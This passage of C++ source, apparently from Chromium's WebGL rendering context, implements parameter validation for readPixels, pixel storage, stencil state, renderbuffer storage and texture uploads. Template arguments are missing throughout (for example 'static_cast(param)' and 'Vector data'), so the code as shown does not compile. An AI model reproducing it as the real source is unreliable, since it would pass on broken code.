GL_FRAGMENT_SHADER_DERIVATIVE_HINT_OES: // OES_standard_derivatives if (ExtensionEnabled(kOESStandardDerivativesName) || IsWebGL2OrHigher()) is_valid = true; break; } if (!is_valid) { SynthesizeGLError(GL_INVALID_ENUM, "hint", "invalid target"); return; } ContextGL()->Hint(target, mode); } GLboolean WebGLRenderingContextBase::isBuffer(WebGLBuffer* buffer) { if (!buffer || isContextLost() || !buffer->Validate(ContextGroup(), this)) return 0; if (!buffer->HasEverBeenBound()) return 0; if (buffer->MarkedForDeletion()) return 0; return ContextGL()->IsBuffer(buffer->Object()); } bool WebGLRenderingContextBase::isContextLost() const { return context_lost_mode_ != kNotLostContext; } GLboolean WebGLRenderingContextBase::isEnabled(GLenum cap) { if (isContextLost() || !ValidateCapability("isEnabled", cap)) return 0; if (cap == GL_STENCIL_TEST) return stencil_enabled_; return ContextGL()->IsEnabled(cap); } GLboolean WebGLRenderingContextBase::isFramebuffer( WebGLFramebuffer* framebuffer) { if (!framebuffer || isContextLost() || !framebuffer->Validate(ContextGroup(), this)) return 0; if (!framebuffer->HasEverBeenBound()) return 0; if (framebuffer->MarkedForDeletion()) return 0; return ContextGL()->IsFramebuffer(framebuffer->Object()); } GLboolean WebGLRenderingContextBase::isProgram(WebGLProgram* program) { if (!program || isContextLost() || !program->Validate(ContextGroup(), this)) return 0; // OpenGL ES special-cases the behavior of program objects; if they're deleted // while attached to the current context state, glIsProgram is supposed to // still return true. For this reason, MarkedForDeletion is not checked here. return ContextGL()->IsProgram(program->Object()); } GLboolean WebGLRenderingContextBase::isRenderbuffer( WebGLRenderbuffer* renderbuffer) { if (!renderbuffer || isContextLost() || !renderbuffer->Validate(ContextGroup(), this)) return 0; if (!renderbuffer->HasEverBeenBound()) return 0; if (renderbuffer->MarkedForDeletion()) return 0; return ContextGL()->IsRenderbuffer(renderbuffer->Object()); } GLboolean WebGLRenderingContextBase::isShader(WebGLShader* shader) { if (!shader || isContextLost() || !shader->Validate(ContextGroup(), this)) return 0; // OpenGL ES special-cases the behavior of shader objects; if they're deleted // while attached to a program, glIsShader is supposed to still return true. // For this reason, MarkedForDeletion is not checked here. return ContextGL()->IsShader(shader->Object()); } GLboolean WebGLRenderingContextBase::isTexture(WebGLTexture* texture) { if (!texture || isContextLost() || !texture->Validate(ContextGroup(), this)) return 0; if (!texture->HasEverBeenBound()) return 0; if (texture->MarkedForDeletion()) return 0; return ContextGL()->IsTexture(texture->Object()); } void WebGLRenderingContextBase::lineWidth(GLfloat width) { if (isContextLost()) return; ContextGL()->LineWidth(width); } void WebGLRenderingContextBase::linkProgram(WebGLProgram* program) { if (!ValidateWebGLProgramOrShader("linkProgram", program)) return; if (program->ActiveTransformFeedbackCount() > 0) { SynthesizeGLError( GL_INVALID_OPERATION, "linkProgram", "program being used by one or more active transform feedback objects"); return; } GLuint query = 0u; if (ExtensionEnabled(kKHRParallelShaderCompileName)) { ContextGL()->GenQueriesEXT(1, &query); ContextGL()->BeginQueryEXT(GL_PROGRAM_COMPLETION_QUERY_CHROMIUM, query); } ContextGL()->LinkProgram(ObjectOrZero(program)); if (ExtensionEnabled(kKHRParallelShaderCompileName)) { ContextGL()->EndQueryEXT(GL_PROGRAM_COMPLETION_QUERY_CHROMIUM); addProgramCompletionQuery(program, query); } program->IncreaseLinkCount(); } void WebGLRenderingContextBase::pixelStorei(GLenum pname, GLint param) { if (isContextLost()) return; switch (pname) { case GC3D_UNPACK_FLIP_Y_WEBGL: unpack_flip_y_ = param; break; case GC3D_UNPACK_PREMULTIPLY_ALPHA_WEBGL: unpack_premultiply_alpha_ = param; break; case GC3D_UNPACK_COLORSPACE_CONVERSION_WEBGL: if (static_cast(param) == GC3D_BROWSER_DEFAULT_WEBGL || param == GL_NONE) { unpack_colorspace_conversion_ = static_cast(param); } else { SynthesizeGLError( GL_INVALID_VALUE, "pixelStorei", "invalid parameter for UNPACK_COLORSPACE_CONVERSION_WEBGL"); return; } break; case GL_PACK_ALIGNMENT: case GL_UNPACK_ALIGNMENT: if (param == 1 || param == 2 || param == 4 || param == 8) { if (pname == GL_PACK_ALIGNMENT) { pack_alignment_ = param; } else { // GL_UNPACK_ALIGNMENT: unpack_alignment_ = param; } ContextGL()->PixelStorei(pname, param); } else { SynthesizeGLError(GL_INVALID_VALUE, "pixelStorei", "invalid parameter for alignment"); return; } break; default: SynthesizeGLError(GL_INVALID_ENUM, "pixelStorei", "invalid parameter name"); return; } } void WebGLRenderingContextBase::polygonOffset(GLfloat factor, GLfloat units) { if (isContextLost()) return; ContextGL()->PolygonOffset(factor, units); } bool WebGLRenderingContextBase::ValidateReadBufferAndGetInfo( const char* function_name, WebGLFramebuffer*& read_framebuffer_binding) { read_framebuffer_binding = GetReadFramebufferBinding(); if (read_framebuffer_binding) { const char* reason = "framebuffer incomplete"; if (read_framebuffer_binding->CheckDepthStencilStatus(&reason) != GL_FRAMEBUFFER_COMPLETE) { SynthesizeGLError(GL_INVALID_FRAMEBUFFER_OPERATION, function_name, reason); return false; } } else { if (read_buffer_of_default_framebuffer_ == GL_NONE) { DCHECK(IsWebGL2OrHigher()); SynthesizeGLError(GL_INVALID_OPERATION, function_name, "no image to read from"); return false; } } return true; } bool WebGLRenderingContextBase::ValidateReadPixelsFormatAndType( GLenum format, GLenum type, DOMArrayBufferView* buffer) { switch (format) { case GL_ALPHA: case GL_RGB: case GL_RGBA: break; default: SynthesizeGLError(GL_INVALID_ENUM, "readPixels", "invalid format"); return false; } switch (type) { case GL_UNSIGNED_BYTE: if (buffer) { auto bufferType = buffer->GetType(); if (bufferType != DOMArrayBufferView::kTypeUint8 && bufferType != DOMArrayBufferView::kTypeUint8Clamped) { SynthesizeGLError( GL_INVALID_OPERATION, "readPixels", "type UNSIGNED_BYTE but ArrayBufferView not Uint8Array or " "Uint8ClampedArray"); return false; } } return true; case GL_UNSIGNED_SHORT_5_6_5: case GL_UNSIGNED_SHORT_4_4_4_4: case GL_UNSIGNED_SHORT_5_5_5_1: if (buffer && buffer->GetType() != DOMArrayBufferView::kTypeUint16) { SynthesizeGLError( GL_INVALID_OPERATION, "readPixels", "type UNSIGNED_SHORT but ArrayBufferView not Uint16Array"); return false; } return true; case GL_FLOAT: if (ExtensionEnabled(kOESTextureFloatName) || ExtensionEnabled(kOESTextureHalfFloatName)) { if (buffer && buffer->GetType() != DOMArrayBufferView::kTypeFloat32) { SynthesizeGLError(GL_INVALID_OPERATION, "readPixels", "type FLOAT but ArrayBufferView not Float32Array"); return false; } return true; } SynthesizeGLError(GL_INVALID_ENUM, "readPixels", "invalid type"); return false; case GL_HALF_FLOAT_OES: if (ExtensionEnabled(kOESTextureHalfFloatName)) { if (buffer && buffer->GetType() != DOMArrayBufferView::kTypeUint16) { SynthesizeGLError( GL_INVALID_OPERATION, "readPixels", "type HALF_FLOAT_OES but ArrayBufferView not Uint16Array"); return false; } return true; } SynthesizeGLError(GL_INVALID_ENUM, "readPixels", "invalid type"); return false; default: SynthesizeGLError(GL_INVALID_ENUM, "readPixels", "invalid type"); return false; } } WebGLImageConversion::PixelStoreParams WebGLRenderingContextBase::GetPackPixelStoreParams() { WebGLImageConversion::PixelStoreParams params; params.alignment = pack_alignment_; return params; } WebGLImageConversion::PixelStoreParams WebGLRenderingContextBase::GetUnpackPixelStoreParams(TexImageDimension) { WebGLImageConversion::PixelStoreParams params; params.alignment = unpack_alignment_; return params; } bool WebGLRenderingContextBase::ValidateReadPixelsFuncParameters( GLsizei width, GLsizei height, GLenum format, GLenum type, DOMArrayBufferView* buffer, int64_t buffer_size) { if (!ValidateReadPixelsFormatAndType(format, type, buffer)) return false; // Calculate array size, taking into consideration of pack parameters. unsigned total_bytes_required = 0, total_skip_bytes = 0; GLenum error = WebGLImageConversion::ComputeImageSizeInBytes( format, type, width, height, 1, GetPackPixelStoreParams(), &total_bytes_required, nullptr, &total_skip_bytes); if (error != GL_NO_ERROR) { SynthesizeGLError(error, "readPixels", "invalid dimensions"); return false; } if (buffer_size < static_cast(total_bytes_required + total_skip_bytes)) { SynthesizeGLError(GL_INVALID_OPERATION, "readPixels", "buffer is not large enough for dimensions"); return false; } return true; } void WebGLRenderingContextBase::readPixels( GLint x, GLint y, GLsizei width, GLsizei height, GLenum format, GLenum type, MaybeShared pixels) { ReadPixelsHelper(x, y, width, height, format, type, pixels.View(), 0); } void WebGLRenderingContextBase::ReadPixelsHelper(GLint x, GLint y, GLsizei width, GLsizei height, GLenum format, GLenum type, DOMArrayBufferView* pixels, int64_t offset) { if (isContextLost()) return; // Due to WebGL's same-origin restrictions, it is not possible to // taint the origin using the WebGL API. DCHECK(Host()->OriginClean()); // Validate input parameters. if (!pixels) { SynthesizeGLError(GL_INVALID_VALUE, "readPixels", "no destination ArrayBufferView"); return; } base::CheckedNumeric offset_in_bytes = offset; offset_in_bytes *= pixels->TypeSize(); if (!offset_in_bytes.IsValid() || static_cast(offset_in_bytes.ValueOrDie()) > pixels->byteLengthAsSizeT()) { SynthesizeGLError(GL_INVALID_VALUE, "readPixels", "destination offset out of range"); return; } const char* reason = "framebuffer incomplete"; WebGLFramebuffer* framebuffer = GetReadFramebufferBinding(); if (framebuffer && framebuffer->CheckDepthStencilStatus(&reason) != GL_FRAMEBUFFER_COMPLETE) { SynthesizeGLError(GL_INVALID_FRAMEBUFFER_OPERATION, "readPixels", reason); return; } base::CheckedNumeric buffer_size = pixels->byteLengthAsSizeT() - offset_in_bytes; if (!buffer_size.IsValid()) { SynthesizeGLError(GL_INVALID_VALUE, "readPixels", "destination offset out of range"); return; } if (!ValidateReadPixelsFuncParameters(width, height, format, type, pixels, buffer_size.ValueOrDie())) { return; } ClearIfComposited(); uint8_t* data = static_cast(pixels->BaseAddressMaybeShared()) + offset_in_bytes.ValueOrDie(); // We add special handling here if the 'ArrayBufferView' is size '0' and the // backing store is 'nullptr'. 'ReadPixels' creates an error if the provided // data is 'nullptr'. However, in the case that we want to read zero pixels, // we want to avoid this error. Therefore we provide temporary memory here if // 'ArrayBufferView' does not provide a backing store but we actually read // zero pixels. base::Optional> buffer; if (!data && (width == 0 || height == 0)) { buffer.emplace(32); data = buffer->data(); } { ScopedDrawingBufferBinder binder(GetDrawingBuffer(), framebuffer); ContextGL()->ReadPixels(x, y, width, height, format, type, data); } } void WebGLRenderingContextBase::RenderbufferStorageImpl( GLenum target, GLsizei samples, GLenum internalformat, GLsizei width, GLsizei height, const char* function_name) { DCHECK(!samples); // |samples| > 0 is only valid in WebGL2's // renderbufferStorageMultisample(). DCHECK(!IsWebGL2OrHigher()); // Make sure this is overridden in WebGL 2. switch (internalformat) { case GL_DEPTH_COMPONENT16: case GL_RGBA4: case GL_RGB5_A1: case GL_RGB565: case GL_STENCIL_INDEX8: ContextGL()->RenderbufferStorage(target, internalformat, width, height); renderbuffer_binding_->SetInternalFormat(internalformat); renderbuffer_binding_->SetSize(width, height); break; case GL_SRGB8_ALPHA8_EXT: if (!ExtensionEnabled(kEXTsRGBName)) { SynthesizeGLError(GL_INVALID_ENUM, function_name, "sRGB not enabled"); break; } ContextGL()->RenderbufferStorage(target, internalformat, width, height); renderbuffer_binding_->SetInternalFormat(internalformat); renderbuffer_binding_->SetSize(width, height); break; case GL_DEPTH_STENCIL_OES: DCHECK(IsDepthStencilSupported()); ContextGL()->RenderbufferStorage(target, GL_DEPTH24_STENCIL8_OES, width, height); renderbuffer_binding_->SetSize(width, height); renderbuffer_binding_->SetInternalFormat(internalformat); break; default: SynthesizeGLError(GL_INVALID_ENUM, function_name, "invalid internalformat"); break; } UpdateNumberOfUserAllocatedMultisampledRenderbuffers( renderbuffer_binding_->UpdateMultisampleState(false)); } void WebGLRenderingContextBase::renderbufferStorage(GLenum target, GLenum internalformat, GLsizei width, GLsizei height) { const char* function_name = "renderbufferStorage"; if (isContextLost()) return; if (target != GL_RENDERBUFFER) { SynthesizeGLError(GL_INVALID_ENUM, function_name, "invalid target"); return; } if (!renderbuffer_binding_ || !renderbuffer_binding_->Object()) { SynthesizeGLError(GL_INVALID_OPERATION, function_name, "no bound renderbuffer"); return; } if (!ValidateSize(function_name, width, height)) return; RenderbufferStorageImpl(target, 0, internalformat, width, height, function_name); ApplyStencilTest(); } void WebGLRenderingContextBase::sampleCoverage(GLfloat value, GLboolean invert) { if (isContextLost()) return; ContextGL()->SampleCoverage(value, invert); } void WebGLRenderingContextBase::scissor(GLint x, GLint y, GLsizei width, GLsizei height) { if (isContextLost()) return; scissor_box_[0] = x; scissor_box_[1] = y; scissor_box_[2] = width; scissor_box_[3] = height; ContextGL()->Scissor(x, y, width, height); } void WebGLRenderingContextBase::shaderSource(WebGLShader* shader, const String& string) { if (!ValidateWebGLProgramOrShader("shaderSource", shader)) return; String string_without_comments = StripComments(string).Result(); // TODO(danakj): Make validateShaderSource reject characters > 255 (or utf16 // Strings) so we don't need to use StringUTF8Adaptor. if (!ValidateShaderSource(string_without_comments)) return; shader->SetSource(string); WTF::StringUTF8Adaptor adaptor(string_without_comments); const GLchar* shader_data = adaptor.data(); // TODO(danakj): Use base::saturated_cast. const GLint shader_length = adaptor.size(); ContextGL()->ShaderSource(ObjectOrZero(shader), 1, &shader_data, &shader_length); } void WebGLRenderingContextBase::stencilFunc(GLenum func, GLint ref, GLuint mask) { if (isContextLost()) return; if (!ValidateStencilOrDepthFunc("stencilFunc", func)) return; stencil_func_ref_ = ref; stencil_func_ref_back_ = ref; stencil_func_mask_ = mask; stencil_func_mask_back_ = mask; ContextGL()->StencilFunc(func, ref, mask); } void WebGLRenderingContextBase::stencilFuncSeparate(GLenum face, GLenum func, GLint ref, GLuint mask) { if (isContextLost()) return; if (!ValidateStencilOrDepthFunc("stencilFuncSeparate", func)) return; switch (face) { case GL_FRONT_AND_BACK: stencil_func_ref_ = ref; stencil_func_ref_back_ = ref; stencil_func_mask_ = mask; stencil_func_mask_back_ = mask; break; case GL_FRONT: stencil_func_ref_ = ref; stencil_func_mask_ = mask; break; case GL_BACK: stencil_func_ref_back_ = ref; stencil_func_mask_back_ = mask; break; default: SynthesizeGLError(GL_INVALID_ENUM, "stencilFuncSeparate", "invalid face"); return; } ContextGL()->StencilFuncSeparate(face, func, ref, mask); } void WebGLRenderingContextBase::stencilMask(GLuint mask) { if (isContextLost()) return; stencil_mask_ = mask; stencil_mask_back_ = mask; ContextGL()->StencilMask(mask); } void WebGLRenderingContextBase::stencilMaskSeparate(GLenum face, GLuint mask) { if (isContextLost()) return; switch (face) { case GL_FRONT_AND_BACK: stencil_mask_ = mask; stencil_mask_back_ = mask; break; case GL_FRONT: stencil_mask_ = mask; break; case GL_BACK: stencil_mask_back_ = mask; break; default: SynthesizeGLError(GL_INVALID_ENUM, "stencilMaskSeparate", "invalid face"); return; } ContextGL()->StencilMaskSeparate(face, mask); } void WebGLRenderingContextBase::stencilOp(GLenum fail, GLenum zfail, GLenum zpass) { if (isContextLost()) return; ContextGL()->StencilOp(fail, zfail, zpass); } void WebGLRenderingContextBase::stencilOpSeparate(GLenum face, GLenum fail, GLenum zfail, GLenum zpass) { if (isContextLost()) return; ContextGL()->StencilOpSeparate(face, fail, zfail, zpass); } GLenum WebGLRenderingContextBase::ConvertTexInternalFormat( GLenum internalformat, GLenum type) { // Convert to sized internal formats that are renderable with // GL_CHROMIUM_color_buffer_float_rgb(a). if (type == GL_FLOAT && internalformat == GL_RGBA && ExtensionsUtil()->IsExtensionEnabled( "GL_CHROMIUM_color_buffer_float_rgba")) return GL_RGBA32F_EXT; if (type == GL_FLOAT && internalformat == GL_RGB && ExtensionsUtil()->IsExtensionEnabled( "GL_CHROMIUM_color_buffer_float_rgb")) return GL_RGB32F_EXT; return internalformat; } void WebGLRenderingContextBase::TexImage2DBase(GLenum target, GLint level, GLint internalformat, GLsizei width, GLsizei height, GLint border, GLenum format, GLenum type, const void* pixels) { // All calling functions check isContextLost, so a duplicate check is not // needed here. ContextGL()->TexImage2D(target, level, ConvertTexInternalFormat(internalformat, type), width, height, border, format, type, pixels); } // Software-based upload of Image* to WebGL texture. void WebGLRenderingContextBase::TexImageImpl( TexImageFunctionID function_id, GLenum target, GLint level, GLint internalformat, GLint xoffset, GLint yoffset, GLint zoffset, GLenum format, GLenum type, Image* image, WebGLImageConversion::ImageHtmlDomSource dom_source, bool flip_y, bool premultiply_alpha, const IntRect& source_image_rect, GLsizei depth, GLint unpack_image_height) { const char* func_name = GetTexImageFunctionName(function_id); // All calling functions check isContextLost, so a duplicate check is not // needed here. if (type == GL_UNSIGNED_INT_10F_11F_11F_REV) { // The UNSIGNED_INT_10F_11F_11F_REV type pack/unpack isn't implemented. type = GL_FLOAT; } Vector data; IntRect sub_rect = source_image_rect; if (sub_rect.IsValid() && sub_rect == SentinelEmptyRect()) { // Recalculate based on the size of the Image. sub_rect = SafeGetImageSize(image); } bool selecting_sub_rectangle = false; if (!ValidateTexImageSubRectangle(func_name, function_id, image, sub_rect, depth, unpack_image_height, &selecting_sub_rectangle)) { return; } // Adjust the source image rectangle if doing a y-flip. IntRect adjusted_source_image_rect = sub_rect; if (flip_y) { adjusted_source_image_rect.SetY(image->height() - adjusted_source_image_rect.MaxY()); } WebGLImageConversion::ImageExtractor image_extractor( image, dom_source, premultiply_alpha, unpack_colorspace_conversion_ == GL_NONE); if (!image_extractor.ImagePixelData()) { SynthesizeGLError(GL_INVALID_VALUE, func_name, "bad image data"); return; } WebGLImageConversion::DataFormat source_data_format = image_extractor.ImageSourceFormat(); WebGLImageConversion::AlphaOp alpha_op = image_extractor.ImageAlphaOp(); const void* image_pixel_data = image_extractor.ImagePixelData(); bool need_conversion = true; if (type == GL_UNSIGNED_BYTE && source_data_format == WebGLImageConversion::kDataFormatRGBA8 && format == GL_RGBA && alpha_op == WebGLImageConversion::kAlphaDoNothing && !flip_y && !selecting_sub_rectangle && depth == 1) { need_conversion = false; } else { if (!WebGLImageConversion::PackImageData( image, image_pixel_data, format, type, flip_y, alpha_op, source_data_format, image_extractor.ImageWidth(), image_extractor.ImageHeight(), adjusted_source_image_rect, depth, image_extractor.ImageSourceUnpackAlignment(), unpack_image_height, data)) { SynthesizeGLError(GL_INVALID_VALUE, func_name, "packImage error"); return; } } ScopedUnpackParametersResetRestore temporary_reset_unpack(this); if (function_id == kTexImage2D) { TexImage2DBase(target, level, internalformat, adjusted_source_image_rect.Width(), adjusted_source_image_rect.Height(), 0, format, type, need_conversion ? data.data() : image_pixel_data); } else if (function_id == kTexSubImage2D) { ContextGL()->TexSubImage2D( target, level, xoffset, yoffset, adjusted_source_image_rect.Width(), adjusted_source_image_rect.Height(), format, type, need_conversion ? data.data() : image_pixel_data); } else { // 3D functions. if (function_id == kTexImage3D) { ContextGL()->TexImage3D( target, level, internalformat, adjusted_source_image_rect.Width(), adjusted_source_image_rect.Height(), depth, 0, format, type, need_conversion ? data.data() : image_pixel_data); } else { DCHECK_EQ(function_id, kTexSubImage3D); ContextGL()->TexSubImage3D( target, level, xoffset, yoffset, zoffset, adjusted_source_image_rect.Width(), adjusted_source_image_rect.Height(), depth, format, type, need_conversion ? data.data() : image_pixel_data); } } } bool WebGLRenderingContextBase::ValidateTexFunc( const char* function_name, TexImageFunctionType function_type, TexFuncValidationSourceType source_type, GLenum target, GLint level, GLenum internalformat, GLsizei width, GLsizei height, GLsizei depth, GLint border, GLenum format, GLenum type, GLint xoffset, GLint yoffset, GLint zoffset) { if (!ValidateTexFuncLevel(function_name, target, level)) return false; if (!ValidateTexFuncParameters(function_name, function_type, source_type, target, level, internalformat, width, height, depth, border, format, type)) return false; if (function_type == kTexSubImage) { if (!ValidateSettableTexFormat(function_name, format)) return false; if (!ValidateSize(function_name, xoffset, yoffset, zoffset)) return false; } else { // For SourceArrayBufferView, function validateTexFuncData() would handle // whether to validate the SettableTexFormat // by checking if the ArrayBufferView is null or not. if (source_type != kSourceArrayBufferView) { if (!ValidateSettableTexFormat(function_name, format)) return false; } } return true; } bool WebGLRenderingContextBase::ValidateValueFitNonNegInt32( const char* function_name, const char* param_name, int64_t value) { if (value < 0) { String error_msg = String(param_name) + " < 0"; SynthesizeGLError(GL_INVALID_VALUE, function_name, error_msg.Ascii().c_str()); return false; } if (value > static_cast(std::numeric_limits::max())) { String error_msg = String(param_name) + " more than 32-bit"; SynthesizeGLError(GL_INVALID_OPERATION, function_name, error_msg.Ascii().c_str()); return false; } return true; } // TODO(fmalita): figure why WebGLImageConversion::ImageExtractor can't handle // SVG-backed images, and get rid of this intermediate step. scoped_refptr WebGLRenderingContextBase::DrawImageIntoBuffer( scoped_refptr pass_image, int width, int height, const char* function_name) { scoped_refptr image(std::move(pass_image)); DCHECK(image); IntSize size(width, height); CanvasResourceProvider* resource_provider = generated_image_cache_.GetCanvasResourceProvider(size); if (!resource_provider) { SynthesizeGLError(GL_OUT_OF_MEMORY, function_name, "out of memory"); return nullptr; } if (!image->CurrentFrameKnownToBeOpaque()) resource_provider->Canvas()->clear(SK_ColorTRANSPARENT); IntRect src_rect(IntPoint(), image->Size()); IntRect dest_rect(0, 0, size.Width(), size.Height()); PaintFlags flags; // TODO(ccameron): WebGL should produce sRGB images. // https://crbug.com/672299 image->Draw(resource_provider->Canvas(), flags, FloatRect(dest_rect), FloatRect(src_rect), kRespectImageOrientation, Image::kDoNotClampImageToSourceRect, Image::kSyncDecode); return resource_provider->Snapshot(); } WebGLTexture* WebGLRenderingContextBase::ValidateTexImageBinding( const char* func_name, TexImageFunctionID function_id, GLenum target) { return ValidateTexture2DBinding(func_name, target); } const char* WebGLRenderingContextBase::GetTexImageFunctionName( TexImageFunctionID func_name) { switch (func_name) { case kTexImage2D: return "texImage2D"; case kTexSubImage2D: return "texSubImage2D"; case kTexSubImage3D: return "texSubImage3D"; case kTexImage3D: return "texImage3D"; default: // Adding default to prevent compile error return ""; } } IntRect WebGLRenderingContextBase::SentinelEmptyRect() { // Return a rectangle with -1 width and height so we can recognize // it later and recalculate it based on the Image whose data we'll // upload. It's important that there be no possible differences in // the logic which computes the image's size. return IntRect(0, 0, -1, -1); } IntRect WebGLRenderingContextBase::SafeGetImageSize(Image* image) { if (!image) return IntRect(); return GetTextureSourceSize(image); } IntRect WebGLRenderingContextBase::GetImageDataSize(ImageData* pixels) { DCHECK(pixels); return GetTextureSourceSize(pixels); } void WebGLRenderingContextBase::TexImageHelperDOMArrayBufferView( TexImageFunctionID function_id, GLenum target, GLint level, GLint internalformat, GLsizei width, GLsizei height, GLsizei depth, GLint border, GLenum format, GLenum type, GLint xoffset, GLint yoffset, GLint zoffset, DOMArrayBufferView* pixels, NullDisposition null_disposition, GLuint src_offset) { const char* func_name = GetTexImageFunctionName(function_id); if (isContextLost()) return; if (!ValidateTexImageBinding(func_name, function_id, target)) return; TexImageFunctionType function_type; if (function_id == kTexImage2D || function_id == kTexImage3D) function_type = kTexImage; else function_type = kTexSubImage; if (!ValidateTexFunc(func_name, function_type, kSourceArrayBufferView, target, level, internalformat, width, height, depth, border, format, type, xoffset, yoffset, zoffset)) return; TexImageDimension source_type; if (function_id == kTexImage2D || function_id == kTexSubImage2D) source_type = kTex2D; else source_type = kTex3D; if (!ValidateTexFuncData(func_name, source_type, level, width, height, depth, format, type, pixels, null_disposition, src_offset)) return; uint8_t* data = reinterpret_cast( pixels ? pixels->BaseAddressMaybeShared() : nullptr); if (src_offset) { DCHECK(pixels); // No need to check overflow because validateTexFuncData() already did. data += src_offset * pixels->TypeSize(); } Vector temp_data; bool change_unpack_params = false; if (data && width && height && (unpack_flip_y_ || unpack_premultiply_alpha_)) { DCHECK_EQ(kTex2D, source_type); // Only enter here if width or height is non-zero. Otherwise, call to the // underlying driver to generate appropriate GL errors if needed. WebGLImageConversion::PixelStoreParams unpack_params = GetUnpackPixelStoreParams(kTex2D); GLint data_store_width = unpack_params.row_length ? unpack_params.row_length : width; if (unpack_params.skip_pixels + width > data_store_width) { SynthesizeGLError(GL_INVALID_OPERATION, func_name, "Invalid unpack params combination."); return; } if (!WebGLImageConversion::ExtractTextureData( width, height, format, type, unpack_params, unpack_flip_y_, unpack_premultiply_alpha_, data, temp_data)) { SynthesizeGLError(GL_INVALID_OPERATION, func_name, "Invalid format/type combination."); return; } data = temp_data.data(); change_unpack_params = true; } if (function_id == kTexImage3D) { ContextGL()->TexImage3D(target, level, ConvertTexInternalFormat(internalformat, type), width, height, depth, border, format, type, data); return; } if (function_id == kTexSubImage3D) { ContextGL()->TexSubImage3D(target, level, xoffset, yoffset, zoffset, width, height, depth, format, type, data); return; } ScopedUnpackParametersResetRestore temporary_reset_unpack( this, change_unpack_params); if (function_id == kTexImage2D) TexImage2DBase(target, level, internalformat, width, height, border, format, type, data); else if (function_id == kTexSubImage2D) ContextGL()->TexSubImage2D(target, level, xoffset, yoffset, width, height, format, type, data); } void WebGLRenderingContextBase::texImage2D( GLenum target, GLint level, GLint internalformat, GLsizei width, GLsizei height, GLint border, GLenum format, GLenum type, MaybeShared pixels) { TexImageHelperDOMArrayBufferView(kTexImage2D, target, level, internalformat, width, height, 1, border, format, type, 0, 0, 0, pixels.View(), kNullAllowed, 0); } void WebGLRenderingContextBase::TexImageHelperImageData( TexImageFunctionID function_id, GLenum target, GLint level, GLint internalformat, GLint border, GLenum format, GLenum type, GLsizei depth, GLint xoffset, GLint yoffset, GLint zoffset, ImageData* pixels, const IntRect& source_image_rect, GLint unpack_image_height) { const char* func_name = GetTexImageFunctionName(function_id); if (isContextLost()) return; DCHECK(pixels); if (pixels->data()->BufferBase()->IsDetached()) { SynthesizeGLError(GL_INVALID_VALUE, func_name, "The source data has been detached."); return; } if (!ValidateTexImageBinding(func_name, function_id, target)) return; TexImageFunctionType function_type; if (function_id == kTexImage2D || function_id == kTexImage3D) function_type = kTexImage; else function_type = kTexSubImage; if (!ValidateTexFunc(func_name, function_type, kSourceImageData, target, level, internalformat, pixels->width(), pixels->height(), depth, border, format, type, xoffset, yoffset, zoffset)) return; bool selecting_sub_rectangle = false; if (!ValidateTexImageSubRectangle( func_name, function_id, pixels, source_image_rect, depth, unpack_image_height, &selecting_sub_rectangle)) { return; } // Adjust the source image rectangle if doing a y-flip. IntRect adjusted_source_image_rect = source_image_rect; if (unpack_flip_y_) { adjusted_source_image_rect.SetY(pixels->height() - adjusted_source_image_rect.MaxY()); } Vector data; bool need_conversion = true; // The data from ImageData is always of format RGBA8. // No conversion is needed if destination format is RGBA and type is // UNSIGNED_BYTE and no Flip or Premultiply operation is required. if (!unpack_flip_y_ && !unpack_premultiply_alpha_ && format == GL_RGBA && type == GL_UNSIGNED_BYTE && !selecting_sub_rectangle && depth == 1) { need_conversion = false; } else { if (type == GL_UNSIGNED_INT_10F_11F_11F_REV) { // The UNSIGNED_INT_10F_11F_11F_REV type pack/unpack isn't implemented. type = GL_FLOAT; } if (!WebGLImageConversion::ExtractImageData( pixels->data()->Data(), WebGLImageConversion::DataFormat::kDataFormatRGBA8, pixels->Size(), adjusted_source_image_rect, depth, unpack_image_height, format, type, unpack_flip_y_, unpack_premultiply_alpha_, data)) { SynthesizeGLError(GL_INVALID_VALUE, func_name, "bad image data"); return; } } ScopedUnpackParametersResetRestore temporary_reset_unpack(this); const uint8_t* bytes = need_conversion ? data.data() : pixels->data()->Data(); if (function_id == kTexImage2D) { DCHECK_EQ(unpack_image_height, 0); TexImage2DBase( target, level, internalformat, adjusted_source_image_rect.Width(), adjusted_source_image_rect.Height(), border, format, type, bytes); } else if (function_id == kTexSubImage2D) { DCHECK_EQ(unpack_image_height, 0); ContextGL()->TexSubImage2D( target, level, xoffset, yoffset, adjusted_source_image_rect.Width(), adjusted_source_image_rect.Height(), format, type, bytes); } else { GLint upload_height = adjusted_source_image_rect.Height(); if (function_id == kTexImage3D) { ContextGL()->TexImage3D(target, level, internalformat, adjusted_source_image_rect.Width(), upload_height, depth, border, format, type, bytes); } else { DCHECK_EQ(function_id, kTexSubImage3D); ContextGL()->TexSubImage3D(target, level, xoffset, yoffset, zoffset, adjusted_source_image_rect.Width(), upload_height, depth, format, type, bytes); } } } void WebGLRenderingContextBase::texImage2D(GLenum target, GLint level, GLint internalformat, GLenum format, GLenum type, ImageData* pixels) { TexImageHelperImageData(kTexImage2D, target, level, internalformat, 0, format, type, 1, 0, 0, 0, pixels, GetImageDataSize(pixels), 0); } void WebGLRenderingContextBase::TexImageHelperHTMLImageElement( const SecurityOrigin* security_origin, TexImageFunctionID function_id, GLenum target, GLint level, GLint internalformat, GLenum format, GLenum type, GLint xoffset, GLint yoffset, GLint zoffset, HTMLImageElement* image, const IntRect& source_image_rect, GLsizei depth, GLint unpack_image_height, ExceptionState& exception_state) { const char* func_name = GetTexImageFunctionName(function_id); if (isContextLost()) return; if (!ValidateHTMLImageElement(security_origin, func_name, image, exception_state)) return; if (!ValidateTexImageBinding(func_name, function_id, target)) return; scoped_refptr image_for_render = image->CachedImage()->GetImage(); if (IsA(image_for_render.get())) { if (canvas()) { UseCounter::Count(canvas()->GetDocument(), WebFeature::kSVGInWebGL); } image_for_render = DrawImageIntoBuffer(std::move(image_for_render), image->width(), image->height(), func_name); } TexImageFunctionType function_type; if (function_id == kTexImage2D || function_id == kTexImage3D) function_type = kTexImage; else function_type = kTexSubImage; if (!image_for_render || !ValidateTexFunc(func_name, function_type, kSourceHTMLImageElement, target, level, internalformat, image_for_render->width(), image_for_render->height(), depth, 0, format, type, xoffset, yoffset, zoffset)) return; TexImageImpl(function_id, target, level, internalformat, xoffset, yoffset, zoffset, format, type, image_for_render.get(), WebGLImageConversion::kHtmlDomImage, unpack_flip_y_, unpack_premultiply_alpha_, source_image_rect, depth, unpack_image_height); } void WebGLRenderingContextBase::texImage2D(ExecutionContext* execution_context, GLenum target, GLint level, GLint internalformat, GLenum format, GLenum type, HTMLImageElement* image, ExceptionState& exception_state) { 